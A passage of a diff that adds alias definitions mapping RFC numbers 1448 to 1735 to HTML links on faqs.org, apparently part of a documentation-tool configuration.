+                         "RFC1448=<a href=\"http://www.faqs.org/rfcs/rfc1448.html\">RFC 1448</a>" \
+                         "RFC1449=<a href=\"http://www.faqs.org/rfcs/rfc1449.html\">RFC 1449</a>" \
+                         "RFC1450=<a href=\"http://www.faqs.org/rfcs/rfc1450.html\">RFC 1450</a>" \
+                         "RFC1451=<a href=\"http://www.faqs.org/rfcs/rfc1451.html\">RFC 1451</a>" \
+                         "RFC1452=<a href=\"http://www.faqs.org/rfcs/rfc1452.html\">RFC 1452</a>" \
+                         "RFC1453=<a href=\"http://www.faqs.org/rfcs/rfc1453.html\">RFC 1453</a>" \
+                         "RFC1454=<a href=\"http://www.faqs.org/rfcs/rfc1454.html\">RFC 1454</a>" \
+                         "RFC1455=<a href=\"http://www.faqs.org/rfcs/rfc1455.html\">RFC 1455</a>" \
+                         "RFC1456=<a href=\"http://www.faqs.org/rfcs/rfc1456.html\">RFC 1456</a>" \
+                         "RFC1457=<a href=\"http://www.faqs.org/rfcs/rfc1457.html\">RFC 1457</a>" \
+                         "RFC1458=<a href=\"http://www.faqs.org/rfcs/rfc1458.html\">RFC 1458</a>" \
+                         "RFC1459=<a href=\"http://www.faqs.org/rfcs/rfc1459.html\">RFC 1459</a>" \
+                         "RFC1460=<a href=\"http://www.faqs.org/rfcs/rfc1460.html\">RFC 1460</a>" \
+                         "RFC1461=<a href=\"http://www.faqs.org/rfcs/rfc1461.html\">RFC 1461</a>" \
+                         "RFC1462=<a href=\"http://www.faqs.org/rfcs/rfc1462.html\">RFC 1462</a>" \
+                         "RFC1463=<a href=\"http://www.faqs.org/rfcs/rfc1463.html\">RFC 1463</a>" \
+                         "RFC1464=<a href=\"http://www.faqs.org/rfcs/rfc1464.html\">RFC 1464</a>" \
+                         "RFC1465=<a href=\"http://www.faqs.org/rfcs/rfc1465.html\">RFC 1465</a>" \
+                         "RFC1466=<a href=\"http://www.faqs.org/rfcs/rfc1466.html\">RFC 1466</a>" \
+                         "RFC1467=<a href=\"http://www.faqs.org/rfcs/rfc1467.html\">RFC 1467</a>" \
+                         "RFC1468=<a href=\"http://www.faqs.org/rfcs/rfc1468.html\">RFC 1468</a>" \
+                         "RFC1469=<a href=\"http://www.faqs.org/rfcs/rfc1469.html\">RFC 1469</a>" \
+                         "RFC1470=<a href=\"http://www.faqs.org/rfcs/rfc1470.html\">RFC 1470</a>" \
+                         "RFC1471=<a href=\"http://www.faqs.org/rfcs/rfc1471.html\">RFC 1471</a>" \
+                         "RFC1472=<a href=\"http://www.faqs.org/rfcs/rfc1472.html\">RFC 1472</a>" \
+                         "RFC1473=<a href=\"http://www.faqs.org/rfcs/rfc1473.html\">RFC 1473</a>" \
+                         "RFC1474=<a href=\"http://www.faqs.org/rfcs/rfc1474.html\">RFC 1474</a>" \
+                         "RFC1475=<a href=\"http://www.faqs.org/rfcs/rfc1475.html\">RFC 1475</a>" \
+                         "RFC1476=<a href=\"http://www.faqs.org/rfcs/rfc1476.html\">RFC 1476</a>" \
+                         "RFC1477=<a href=\"http://www.faqs.org/rfcs/rfc1477.html\">RFC 1477</a>" \
+                         "RFC1478=<a href=\"http://www.faqs.org/rfcs/rfc1478.html\">RFC 1478</a>" \
+                         "RFC1479=<a href=\"http://www.faqs.org/rfcs/rfc1479.html\">RFC 1479</a>" \
+                         "RFC1480=<a href=\"http://www.faqs.org/rfcs/rfc1480.html\">RFC 1480</a>" \
+                         "RFC1481=<a href=\"http://www.faqs.org/rfcs/rfc1481.html\">RFC 1481</a>" \
+                         "RFC1482=<a href=\"http://www.faqs.org/rfcs/rfc1482.html\">RFC 1482</a>" \
+                         "RFC1483=<a href=\"http://www.faqs.org/rfcs/rfc1483.html\">RFC 1483</a>" \
+                         "RFC1484=<a href=\"http://www.faqs.org/rfcs/rfc1484.html\">RFC 1484</a>" \
+                         "RFC1485=<a href=\"http://www.faqs.org/rfcs/rfc1485.html\">RFC 1485</a>" \
+                         "RFC1486=<a href=\"http://www.faqs.org/rfcs/rfc1486.html\">RFC 1486</a>" \
+                         "RFC1487=<a href=\"http://www.faqs.org/rfcs/rfc1487.html\">RFC 1487</a>" \
+                         "RFC1488=<a href=\"http://www.faqs.org/rfcs/rfc1488.html\">RFC 1488</a>" \
+                         "RFC1489=<a href=\"http://www.faqs.org/rfcs/rfc1489.html\">RFC 1489</a>" \
+                         "RFC1490=<a href=\"http://www.faqs.org/rfcs/rfc1490.html\">RFC 1490</a>" \
+                         "RFC1491=<a href=\"http://www.faqs.org/rfcs/rfc1491.html\">RFC 1491</a>" \
+                         "RFC1492=<a href=\"http://www.faqs.org/rfcs/rfc1492.html\">RFC 1492</a>" \
+                         "RFC1493=<a href=\"http://www.faqs.org/rfcs/rfc1493.html\">RFC 1493</a>" \
+                         "RFC1494=<a href=\"http://www.faqs.org/rfcs/rfc1494.html\">RFC 1494</a>" \
+                         "RFC1495=<a href=\"http://www.faqs.org/rfcs/rfc1495.html\">RFC 1495</a>" \
+                         "RFC1496=<a href=\"http://www.faqs.org/rfcs/rfc1496.html\">RFC 1496</a>" \
+                         "RFC1497=<a href=\"http://www.faqs.org/rfcs/rfc1497.html\">RFC 1497</a>" \
+                         "RFC1498=<a href=\"http://www.faqs.org/rfcs/rfc1498.html\">RFC 1498</a>" \
+                         "RFC1499=<a href=\"http://www.faqs.org/rfcs/rfc1499.html\">RFC 1499</a>" \
+                         "RFC1500=<a href=\"http://www.faqs.org/rfcs/rfc1500.html\">RFC 1500</a>" \
+                         "RFC1501=<a href=\"http://www.faqs.org/rfcs/rfc1501.html\">RFC 1501</a>" \
+                         "RFC1502=<a href=\"http://www.faqs.org/rfcs/rfc1502.html\">RFC 1502</a>" \
+                         "RFC1503=<a href=\"http://www.faqs.org/rfcs/rfc1503.html\">RFC 1503</a>" \
+                         "RFC1504=<a href=\"http://www.faqs.org/rfcs/rfc1504.html\">RFC 1504</a>" \
+                         "RFC1505=<a href=\"http://www.faqs.org/rfcs/rfc1505.html\">RFC 1505</a>" \
+                         "RFC1506=<a href=\"http://www.faqs.org/rfcs/rfc1506.html\">RFC 1506</a>" \
+                         "RFC1507=<a href=\"http://www.faqs.org/rfcs/rfc1507.html\">RFC 1507</a>" \
+                         "RFC1508=<a href=\"http://www.faqs.org/rfcs/rfc1508.html\">RFC 1508</a>" \
+                         "RFC1509=<a href=\"http://www.faqs.org/rfcs/rfc1509.html\">RFC 1509</a>" \
+                         "RFC1510=<a href=\"http://www.faqs.org/rfcs/rfc1510.html\">RFC 1510</a>" \
+                         "RFC1511=<a href=\"http://www.faqs.org/rfcs/rfc1511.html\">RFC 1511</a>" \
+                         "RFC1512=<a href=\"http://www.faqs.org/rfcs/rfc1512.html\">RFC 1512</a>" \
+                         "RFC1513=<a href=\"http://www.faqs.org/rfcs/rfc1513.html\">RFC 1513</a>" \
+                         "RFC1514=<a href=\"http://www.faqs.org/rfcs/rfc1514.html\">RFC 1514</a>" \
+                         "RFC1515=<a href=\"http://www.faqs.org/rfcs/rfc1515.html\">RFC 1515</a>" \
+                         "RFC1516=<a href=\"http://www.faqs.org/rfcs/rfc1516.html\">RFC 1516</a>" \
+                         "RFC1517=<a href=\"http://www.faqs.org/rfcs/rfc1517.html\">RFC 1517</a>" \
+                         "RFC1518=<a href=\"http://www.faqs.org/rfcs/rfc1518.html\">RFC 1518</a>" \
+                         "RFC1519=<a href=\"http://www.faqs.org/rfcs/rfc1519.html\">RFC 1519</a>" \
+                         "RFC1520=<a href=\"http://www.faqs.org/rfcs/rfc1520.html\">RFC 1520</a>" \
+                         "RFC1521=<a href=\"http://www.faqs.org/rfcs/rfc1521.html\">RFC 1521</a>" \
+                         "RFC1522=<a href=\"http://www.faqs.org/rfcs/rfc1522.html\">RFC 1522</a>" \
+                         "RFC1523=<a href=\"http://www.faqs.org/rfcs/rfc1523.html\">RFC 1523</a>" \
+                         "RFC1524=<a href=\"http://www.faqs.org/rfcs/rfc1524.html\">RFC 1524</a>" \
+                         "RFC1525=<a href=\"http://www.faqs.org/rfcs/rfc1525.html\">RFC 1525</a>" \
+                         "RFC1526=<a href=\"http://www.faqs.org/rfcs/rfc1526.html\">RFC 1526</a>" \
+                         "RFC1527=<a href=\"http://www.faqs.org/rfcs/rfc1527.html\">RFC 1527</a>" \
+                         "RFC1528=<a href=\"http://www.faqs.org/rfcs/rfc1528.html\">RFC 1528</a>" \
+                         "RFC1529=<a href=\"http://www.faqs.org/rfcs/rfc1529.html\">RFC 1529</a>" \
+                         "RFC1530=<a href=\"http://www.faqs.org/rfcs/rfc1530.html\">RFC 1530</a>" \
+                         "RFC1531=<a href=\"http://www.faqs.org/rfcs/rfc1531.html\">RFC 1531</a>" \
+                         "RFC1532=<a href=\"http://www.faqs.org/rfcs/rfc1532.html\">RFC 1532</a>" \
+                         "RFC1533=<a href=\"http://www.faqs.org/rfcs/rfc1533.html\">RFC 1533</a>" \
+                         "RFC1534=<a href=\"http://www.faqs.org/rfcs/rfc1534.html\">RFC 1534</a>" \
+                         "RFC1535=<a href=\"http://www.faqs.org/rfcs/rfc1535.html\">RFC 1535</a>" \
+                         "RFC1536=<a href=\"http://www.faqs.org/rfcs/rfc1536.html\">RFC 1536</a>" \
+                         "RFC1537=<a href=\"http://www.faqs.org/rfcs/rfc1537.html\">RFC 1537</a>" \
+                         "RFC1538=<a href=\"http://www.faqs.org/rfcs/rfc1538.html\">RFC 1538</a>" \
+                         "RFC1539=<a href=\"http://www.faqs.org/rfcs/rfc1539.html\">RFC 1539</a>" \
+                         "RFC1540=<a href=\"http://www.faqs.org/rfcs/rfc1540.html\">RFC 1540</a>" \
+                         "RFC1541=<a href=\"http://www.faqs.org/rfcs/rfc1541.html\">RFC 1541</a>" \
+                         "RFC1542=<a href=\"http://www.faqs.org/rfcs/rfc1542.html\">RFC 1542</a>" \
+                         "RFC1543=<a href=\"http://www.faqs.org/rfcs/rfc1543.html\">RFC 1543</a>" \
+                         "RFC1544=<a href=\"http://www.faqs.org/rfcs/rfc1544.html\">RFC 1544</a>" \
+                         "RFC1545=<a href=\"http://www.faqs.org/rfcs/rfc1545.html\">RFC 1545</a>" \
+                         "RFC1546=<a href=\"http://www.faqs.org/rfcs/rfc1546.html\">RFC 1546</a>" \
+                         "RFC1547=<a href=\"http://www.faqs.org/rfcs/rfc1547.html\">RFC 1547</a>" \
+                         "RFC1548=<a href=\"http://www.faqs.org/rfcs/rfc1548.html\">RFC 1548</a>" \
+                         "RFC1549=<a href=\"http://www.faqs.org/rfcs/rfc1549.html\">RFC 1549</a>" \
+                         "RFC1550=<a href=\"http://www.faqs.org/rfcs/rfc1550.html\">RFC 1550</a>" \
+                         "RFC1551=<a href=\"http://www.faqs.org/rfcs/rfc1551.html\">RFC 1551</a>" \
+                         "RFC1552=<a href=\"http://www.faqs.org/rfcs/rfc1552.html\">RFC 1552</a>" \
+                         "RFC1553=<a href=\"http://www.faqs.org/rfcs/rfc1553.html\">RFC 1553</a>" \
+                         "RFC1554=<a href=\"http://www.faqs.org/rfcs/rfc1554.html\">RFC 1554</a>" \
+                         "RFC1555=<a href=\"http://www.faqs.org/rfcs/rfc1555.html\">RFC 1555</a>" \
+                         "RFC1556=<a href=\"http://www.faqs.org/rfcs/rfc1556.html\">RFC 1556</a>" \
+                         "RFC1557=<a href=\"http://www.faqs.org/rfcs/rfc1557.html\">RFC 1557</a>" \
+                         "RFC1558=<a href=\"http://www.faqs.org/rfcs/rfc1558.html\">RFC 1558</a>" \
+                         "RFC1559=<a href=\"http://www.faqs.org/rfcs/rfc1559.html\">RFC 1559</a>" \
+                         "RFC1560=<a href=\"http://www.faqs.org/rfcs/rfc1560.html\">RFC 1560</a>" \
+                         "RFC1561=<a href=\"http://www.faqs.org/rfcs/rfc1561.html\">RFC 1561</a>" \
+                         "RFC1562=<a href=\"http://www.faqs.org/rfcs/rfc1562.html\">RFC 1562</a>" \
+                         "RFC1563=<a href=\"http://www.faqs.org/rfcs/rfc1563.html\">RFC 1563</a>" \
+                         "RFC1564=<a href=\"http://www.faqs.org/rfcs/rfc1564.html\">RFC 1564</a>" \
+                         "RFC1565=<a href=\"http://www.faqs.org/rfcs/rfc1565.html\">RFC 1565</a>" \
+                         "RFC1566=<a href=\"http://www.faqs.org/rfcs/rfc1566.html\">RFC 1566</a>" \
+                         "RFC1567=<a href=\"http://www.faqs.org/rfcs/rfc1567.html\">RFC 1567</a>" \
+                         "RFC1568=<a href=\"http://www.faqs.org/rfcs/rfc1568.html\">RFC 1568</a>" \
+                         "RFC1569=<a href=\"http://www.faqs.org/rfcs/rfc1569.html\">RFC 1569</a>" \
+                         "RFC1570=<a href=\"http://www.faqs.org/rfcs/rfc1570.html\">RFC 1570</a>" \
+                         "RFC1571=<a href=\"http://www.faqs.org/rfcs/rfc1571.html\">RFC 1571</a>" \
+                         "RFC1572=<a href=\"http://www.faqs.org/rfcs/rfc1572.html\">RFC 1572</a>" \
+                         "RFC1573=<a href=\"http://www.faqs.org/rfcs/rfc1573.html\">RFC 1573</a>" \
+                         "RFC1574=<a href=\"http://www.faqs.org/rfcs/rfc1574.html\">RFC 1574</a>" \
+                         "RFC1575=<a href=\"http://www.faqs.org/rfcs/rfc1575.html\">RFC 1575</a>" \
+                         "RFC1576=<a href=\"http://www.faqs.org/rfcs/rfc1576.html\">RFC 1576</a>" \
+                         "RFC1577=<a href=\"http://www.faqs.org/rfcs/rfc1577.html\">RFC 1577</a>" \
+                         "RFC1578=<a href=\"http://www.faqs.org/rfcs/rfc1578.html\">RFC 1578</a>" \
+                         "RFC1579=<a href=\"http://www.faqs.org/rfcs/rfc1579.html\">RFC 1579</a>" \
+                         "RFC1580=<a href=\"http://www.faqs.org/rfcs/rfc1580.html\">RFC 1580</a>" \
+                         "RFC1581=<a href=\"http://www.faqs.org/rfcs/rfc1581.html\">RFC 1581</a>" \
+                         "RFC1582=<a href=\"http://www.faqs.org/rfcs/rfc1582.html\">RFC 1582</a>" \
+                         "RFC1583=<a href=\"http://www.faqs.org/rfcs/rfc1583.html\">RFC 1583</a>" \
+                         "RFC1584=<a href=\"http://www.faqs.org/rfcs/rfc1584.html\">RFC 1584</a>" \
+                         "RFC1585=<a href=\"http://www.faqs.org/rfcs/rfc1585.html\">RFC 1585</a>" \
+                         "RFC1586=<a href=\"http://www.faqs.org/rfcs/rfc1586.html\">RFC 1586</a>" \
+                         "RFC1587=<a href=\"http://www.faqs.org/rfcs/rfc1587.html\">RFC 1587</a>" \
+                         "RFC1588=<a href=\"http://www.faqs.org/rfcs/rfc1588.html\">RFC 1588</a>" \
+                         "RFC1589=<a href=\"http://www.faqs.org/rfcs/rfc1589.html\">RFC 1589</a>" \
+                         "RFC1590=<a href=\"http://www.faqs.org/rfcs/rfc1590.html\">RFC 1590</a>" \
+                         "RFC1591=<a href=\"http://www.faqs.org/rfcs/rfc1591.html\">RFC 1591</a>" \
+                         "RFC1592=<a href=\"http://www.faqs.org/rfcs/rfc1592.html\">RFC 1592</a>" \
+                         "RFC1593=<a href=\"http://www.faqs.org/rfcs/rfc1593.html\">RFC 1593</a>" \
+                         "RFC1594=<a href=\"http://www.faqs.org/rfcs/rfc1594.html\">RFC 1594</a>" \
+                         "RFC1595=<a href=\"http://www.faqs.org/rfcs/rfc1595.html\">RFC 1595</a>" \
+                         "RFC1596=<a href=\"http://www.faqs.org/rfcs/rfc1596.html\">RFC 1596</a>" \
+                         "RFC1597=<a href=\"http://www.faqs.org/rfcs/rfc1597.html\">RFC 1597</a>" \
+                         "RFC1598=<a href=\"http://www.faqs.org/rfcs/rfc1598.html\">RFC 1598</a>" \
+                         "RFC1599=<a href=\"http://www.faqs.org/rfcs/rfc1599.html\">RFC 1599</a>" \
+                         "RFC1600=<a href=\"http://www.faqs.org/rfcs/rfc1600.html\">RFC 1600</a>" \
+                         "RFC1601=<a href=\"http://www.faqs.org/rfcs/rfc1601.html\">RFC 1601</a>" \
+                         "RFC1602=<a href=\"http://www.faqs.org/rfcs/rfc1602.html\">RFC 1602</a>" \
+                         "RFC1603=<a href=\"http://www.faqs.org/rfcs/rfc1603.html\">RFC 1603</a>" \
+                         "RFC1604=<a href=\"http://www.faqs.org/rfcs/rfc1604.html\">RFC 1604</a>" \
+                         "RFC1605=<a href=\"http://www.faqs.org/rfcs/rfc1605.html\">RFC 1605</a>" \
+                         "RFC1606=<a href=\"http://www.faqs.org/rfcs/rfc1606.html\">RFC 1606</a>" \
+                         "RFC1607=<a href=\"http://www.faqs.org/rfcs/rfc1607.html\">RFC 1607</a>" \
+                         "RFC1608=<a href=\"http://www.faqs.org/rfcs/rfc1608.html\">RFC 1608</a>" \
+                         "RFC1609=<a href=\"http://www.faqs.org/rfcs/rfc1609.html\">RFC 1609</a>" \
+                         "RFC1610=<a href=\"http://www.faqs.org/rfcs/rfc1610.html\">RFC 1610</a>" \
+                         "RFC1611=<a href=\"http://www.faqs.org/rfcs/rfc1611.html\">RFC 1611</a>" \
+                         "RFC1612=<a href=\"http://www.faqs.org/rfcs/rfc1612.html\">RFC 1612</a>" \
+                         "RFC1613=<a href=\"http://www.faqs.org/rfcs/rfc1613.html\">RFC 1613</a>" \
+                         "RFC1614=<a href=\"http://www.faqs.org/rfcs/rfc1614.html\">RFC 1614</a>" \
+                         "RFC1615=<a href=\"http://www.faqs.org/rfcs/rfc1615.html\">RFC 1615</a>" \
+                         "RFC1616=<a href=\"http://www.faqs.org/rfcs/rfc1616.html\">RFC 1616</a>" \
+                         "RFC1617=<a href=\"http://www.faqs.org/rfcs/rfc1617.html\">RFC 1617</a>" \
+                         "RFC1618=<a href=\"http://www.faqs.org/rfcs/rfc1618.html\">RFC 1618</a>" \
+                         "RFC1619=<a href=\"http://www.faqs.org/rfcs/rfc1619.html\">RFC 1619</a>" \
+                         "RFC1620=<a href=\"http://www.faqs.org/rfcs/rfc1620.html\">RFC 1620</a>" \
+                         "RFC1621=<a href=\"http://www.faqs.org/rfcs/rfc1621.html\">RFC 1621</a>" \
+                         "RFC1622=<a href=\"http://www.faqs.org/rfcs/rfc1622.html\">RFC 1622</a>" \
+                         "RFC1623=<a href=\"http://www.faqs.org/rfcs/rfc1623.html\">RFC 1623</a>" \
+                         "RFC1624=<a href=\"http://www.faqs.org/rfcs/rfc1624.html\">RFC 1624</a>" \
+                         "RFC1625=<a href=\"http://www.faqs.org/rfcs/rfc1625.html\">RFC 1625</a>" \
+                         "RFC1626=<a href=\"http://www.faqs.org/rfcs/rfc1626.html\">RFC 1626</a>" \
+                         "RFC1627=<a href=\"http://www.faqs.org/rfcs/rfc1627.html\">RFC 1627</a>" \
+                         "RFC1628=<a href=\"http://www.faqs.org/rfcs/rfc1628.html\">RFC 1628</a>" \
+                         "RFC1629=<a href=\"http://www.faqs.org/rfcs/rfc1629.html\">RFC 1629</a>" \
+                         "RFC1630=<a href=\"http://www.faqs.org/rfcs/rfc1630.html\">RFC 1630</a>" \
+                         "RFC1631=<a href=\"http://www.faqs.org/rfcs/rfc1631.html\">RFC 1631</a>" \
+                         "RFC1632=<a href=\"http://www.faqs.org/rfcs/rfc1632.html\">RFC 1632</a>" \
+                         "RFC1633=<a href=\"http://www.faqs.org/rfcs/rfc1633.html\">RFC 1633</a>" \
+                         "RFC1634=<a href=\"http://www.faqs.org/rfcs/rfc1634.html\">RFC 1634</a>" \
+                         "RFC1635=<a href=\"http://www.faqs.org/rfcs/rfc1635.html\">RFC 1635</a>" \
+                         "RFC1636=<a href=\"http://www.faqs.org/rfcs/rfc1636.html\">RFC 1636</a>" \
+                         "RFC1637=<a href=\"http://www.faqs.org/rfcs/rfc1637.html\">RFC 1637</a>" \
+                         "RFC1638=<a href=\"http://www.faqs.org/rfcs/rfc1638.html\">RFC 1638</a>" \
+                         "RFC1639=<a href=\"http://www.faqs.org/rfcs/rfc1639.html\">RFC 1639</a>" \
+                         "RFC1640=<a href=\"http://www.faqs.org/rfcs/rfc1640.html\">RFC 1640</a>" \
+                         "RFC1641=<a href=\"http://www.faqs.org/rfcs/rfc1641.html\">RFC 1641</a>" \
+                         "RFC1642=<a href=\"http://www.faqs.org/rfcs/rfc1642.html\">RFC 1642</a>" \
+                         "RFC1643=<a href=\"http://www.faqs.org/rfcs/rfc1643.html\">RFC 1643</a>" \
+                         "RFC1644=<a href=\"http://www.faqs.org/rfcs/rfc1644.html\">RFC 1644</a>" \
+                         "RFC1645=<a href=\"http://www.faqs.org/rfcs/rfc1645.html\">RFC 1645</a>" \
+                         "RFC1646=<a href=\"http://www.faqs.org/rfcs/rfc1646.html\">RFC 1646</a>" \
+                         "RFC1647=<a href=\"http://www.faqs.org/rfcs/rfc1647.html\">RFC 1647</a>" \
+                         "RFC1648=<a href=\"http://www.faqs.org/rfcs/rfc1648.html\">RFC 1648</a>" \
+                         "RFC1649=<a href=\"http://www.faqs.org/rfcs/rfc1649.html\">RFC 1649</a>" \
+                         "RFC1650=<a href=\"http://www.faqs.org/rfcs/rfc1650.html\">RFC 1650</a>" \
+                         "RFC1651=<a href=\"http://www.faqs.org/rfcs/rfc1651.html\">RFC 1651</a>" \
+                         "RFC1652=<a href=\"http://www.faqs.org/rfcs/rfc1652.html\">RFC 1652</a>" \
+                         "RFC1653=<a href=\"http://www.faqs.org/rfcs/rfc1653.html\">RFC 1653</a>" \
+                         "RFC1654=<a href=\"http://www.faqs.org/rfcs/rfc1654.html\">RFC 1654</a>" \
+                         "RFC1655=<a href=\"http://www.faqs.org/rfcs/rfc1655.html\">RFC 1655</a>" \
+                         "RFC1656=<a href=\"http://www.faqs.org/rfcs/rfc1656.html\">RFC 1656</a>" \
+                         "RFC1657=<a href=\"http://www.faqs.org/rfcs/rfc1657.html\">RFC 1657</a>" \
+                         "RFC1658=<a href=\"http://www.faqs.org/rfcs/rfc1658.html\">RFC 1658</a>" \
+                         "RFC1659=<a href=\"http://www.faqs.org/rfcs/rfc1659.html\">RFC 1659</a>" \
+                         "RFC1660=<a href=\"http://www.faqs.org/rfcs/rfc1660.html\">RFC 1660</a>" \
+                         "RFC1661=<a href=\"http://www.faqs.org/rfcs/rfc1661.html\">RFC 1661</a>" \
+                         "RFC1662=<a href=\"http://www.faqs.org/rfcs/rfc1662.html\">RFC 1662</a>" \
+                         "RFC1663=<a href=\"http://www.faqs.org/rfcs/rfc1663.html\">RFC 1663</a>" \
+                         "RFC1664=<a href=\"http://www.faqs.org/rfcs/rfc1664.html\">RFC 1664</a>" \
+                         "RFC1665=<a href=\"http://www.faqs.org/rfcs/rfc1665.html\">RFC 1665</a>" \
+                         "RFC1666=<a href=\"http://www.faqs.org/rfcs/rfc1666.html\">RFC 1666</a>" \
+                         "RFC1667=<a href=\"http://www.faqs.org/rfcs/rfc1667.html\">RFC 1667</a>" \
+                         "RFC1668=<a href=\"http://www.faqs.org/rfcs/rfc1668.html\">RFC 1668</a>" \
+                         "RFC1669=<a href=\"http://www.faqs.org/rfcs/rfc1669.html\">RFC 1669</a>" \
+                         "RFC1670=<a href=\"http://www.faqs.org/rfcs/rfc1670.html\">RFC 1670</a>" \
+                         "RFC1671=<a href=\"http://www.faqs.org/rfcs/rfc1671.html\">RFC 1671</a>" \
+                         "RFC1672=<a href=\"http://www.faqs.org/rfcs/rfc1672.html\">RFC 1672</a>" \
+                         "RFC1673=<a href=\"http://www.faqs.org/rfcs/rfc1673.html\">RFC 1673</a>" \
+                         "RFC1674=<a href=\"http://www.faqs.org/rfcs/rfc1674.html\">RFC 1674</a>" \
+                         "RFC1675=<a href=\"http://www.faqs.org/rfcs/rfc1675.html\">RFC 1675</a>" \
+                         "RFC1676=<a href=\"http://www.faqs.org/rfcs/rfc1676.html\">RFC 1676</a>" \
+                         "RFC1677=<a href=\"http://www.faqs.org/rfcs/rfc1677.html\">RFC 1677</a>" \
+                         "RFC1678=<a href=\"http://www.faqs.org/rfcs/rfc1678.html\">RFC 1678</a>" \
+                         "RFC1679=<a href=\"http://www.faqs.org/rfcs/rfc1679.html\">RFC 1679</a>" \
+                         "RFC1680=<a href=\"http://www.faqs.org/rfcs/rfc1680.html\">RFC 1680</a>" \
+                         "RFC1681=<a href=\"http://www.faqs.org/rfcs/rfc1681.html\">RFC 1681</a>" \
+                         "RFC1682=<a href=\"http://www.faqs.org/rfcs/rfc1682.html\">RFC 1682</a>" \
+                         "RFC1683=<a href=\"http://www.faqs.org/rfcs/rfc1683.html\">RFC 1683</a>" \
+                         "RFC1684=<a href=\"http://www.faqs.org/rfcs/rfc1684.html\">RFC 1684</a>" \
+                         "RFC1685=<a href=\"http://www.faqs.org/rfcs/rfc1685.html\">RFC 1685</a>" \
+                         "RFC1686=<a href=\"http://www.faqs.org/rfcs/rfc1686.html\">RFC 1686</a>" \
+                         "RFC1687=<a href=\"http://www.faqs.org/rfcs/rfc1687.html\">RFC 1687</a>" \
+                         "RFC1688=<a href=\"http://www.faqs.org/rfcs/rfc1688.html\">RFC 1688</a>" \
+                         "RFC1689=<a href=\"http://www.faqs.org/rfcs/rfc1689.html\">RFC 1689</a>" \
+                         "RFC1690=<a href=\"http://www.faqs.org/rfcs/rfc1690.html\">RFC 1690</a>" \
+                         "RFC1691=<a href=\"http://www.faqs.org/rfcs/rfc1691.html\">RFC 1691</a>" \
+                         "RFC1692=<a href=\"http://www.faqs.org/rfcs/rfc1692.html\">RFC 1692</a>" \
+                         "RFC1693=<a href=\"http://www.faqs.org/rfcs/rfc1693.html\">RFC 1693</a>" \
+                         "RFC1694=<a href=\"http://www.faqs.org/rfcs/rfc1694.html\">RFC 1694</a>" \
+                         "RFC1695=<a href=\"http://www.faqs.org/rfcs/rfc1695.html\">RFC 1695</a>" \
+                         "RFC1696=<a href=\"http://www.faqs.org/rfcs/rfc1696.html\">RFC 1696</a>" \
+                         "RFC1697=<a href=\"http://www.faqs.org/rfcs/rfc1697.html\">RFC 1697</a>" \
+                         "RFC1698=<a href=\"http://www.faqs.org/rfcs/rfc1698.html\">RFC 1698</a>" \
+                         "RFC1699=<a href=\"http://www.faqs.org/rfcs/rfc1699.html\">RFC 1699</a>" \
+                         "RFC1700=<a href=\"http://www.faqs.org/rfcs/rfc1700.html\">RFC 1700</a>" \
+                         "RFC1701=<a href=\"http://www.faqs.org/rfcs/rfc1701.html\">RFC 1701</a>" \
+                         "RFC1702=<a href=\"http://www.faqs.org/rfcs/rfc1702.html\">RFC 1702</a>" \
+                         "RFC1703=<a href=\"http://www.faqs.org/rfcs/rfc1703.html\">RFC 1703</a>" \
+                         "RFC1704=<a href=\"http://www.faqs.org/rfcs/rfc1704.html\">RFC 1704</a>" \
+                         "RFC1705=<a href=\"http://www.faqs.org/rfcs/rfc1705.html\">RFC 1705</a>" \
+                         "RFC1706=<a href=\"http://www.faqs.org/rfcs/rfc1706.html\">RFC 1706</a>" \
+                         "RFC1707=<a href=\"http://www.faqs.org/rfcs/rfc1707.html\">RFC 1707</a>" \
+                         "RFC1708=<a href=\"http://www.faqs.org/rfcs/rfc1708.html\">RFC 1708</a>" \
+                         "RFC1709=<a href=\"http://www.faqs.org/rfcs/rfc1709.html\">RFC 1709</a>" \
+                         "RFC1710=<a href=\"http://www.faqs.org/rfcs/rfc1710.html\">RFC 1710</a>" \
+                         "RFC1711=<a href=\"http://www.faqs.org/rfcs/rfc1711.html\">RFC 1711</a>" \
+                         "RFC1712=<a href=\"http://www.faqs.org/rfcs/rfc1712.html\">RFC 1712</a>" \
+                         "RFC1713=<a href=\"http://www.faqs.org/rfcs/rfc1713.html\">RFC 1713</a>" \
+                         "RFC1714=<a href=\"http://www.faqs.org/rfcs/rfc1714.html\">RFC 1714</a>" \
+                         "RFC1715=<a href=\"http://www.faqs.org/rfcs/rfc1715.html\">RFC 1715</a>" \
+                         "RFC1716=<a href=\"http://www.faqs.org/rfcs/rfc1716.html\">RFC 1716</a>" \
+                         "RFC1717=<a href=\"http://www.faqs.org/rfcs/rfc1717.html\">RFC 1717</a>" \
+                         "RFC1718=<a href=\"http://www.faqs.org/rfcs/rfc1718.html\">RFC 1718</a>" \
+                         "RFC1719=<a href=\"http://www.faqs.org/rfcs/rfc1719.html\">RFC 1719</a>" \
+                         "RFC1720=<a href=\"http://www.faqs.org/rfcs/rfc1720.html\">RFC 1720</a>" \
+                         "RFC1721=<a href=\"http://www.faqs.org/rfcs/rfc1721.html\">RFC 1721</a>" \
+                         "RFC1722=<a href=\"http://www.faqs.org/rfcs/rfc1722.html\">RFC 1722</a>" \
+                         "RFC1723=<a href=\"http://www.faqs.org/rfcs/rfc1723.html\">RFC 1723</a>" \
+                         "RFC1724=<a href=\"http://www.faqs.org/rfcs/rfc1724.html\">RFC 1724</a>" \
+                         "RFC1725=<a href=\"http://www.faqs.org/rfcs/rfc1725.html\">RFC 1725</a>" \
+                         "RFC1726=<a href=\"http://www.faqs.org/rfcs/rfc1726.html\">RFC 1726</a>" \
+                         "RFC1727=<a href=\"http://www.faqs.org/rfcs/rfc1727.html\">RFC 1727</a>" \
+                         "RFC1728=<a href=\"http://www.faqs.org/rfcs/rfc1728.html\">RFC 1728</a>" \
+                         "RFC1729=<a href=\"http://www.faqs.org/rfcs/rfc1729.html\">RFC 1729</a>" \
+                         "RFC1730=<a href=\"http://www.faqs.org/rfcs/rfc1730.html\">RFC 1730</a>" \
+                         "RFC1731=<a href=\"http://www.faqs.org/rfcs/rfc1731.html\">RFC 1731</a>" \
+                         "RFC1732=<a href=\"http://www.faqs.org/rfcs/rfc1732.html\">RFC 1732</a>" \
+                         "RFC1733=<a href=\"http://www.faqs.org/rfcs/rfc1733.html\">RFC 1733</a>" \
+                         "RFC1734=<a href=\"http://www.faqs.org/rfcs/rfc1734.html\">RFC 1734</a>" \
+                         "RFC1735=<a href=\"http://www.faqs.org/rfcs/rfc1735.html\">RFC 1735</a>" \
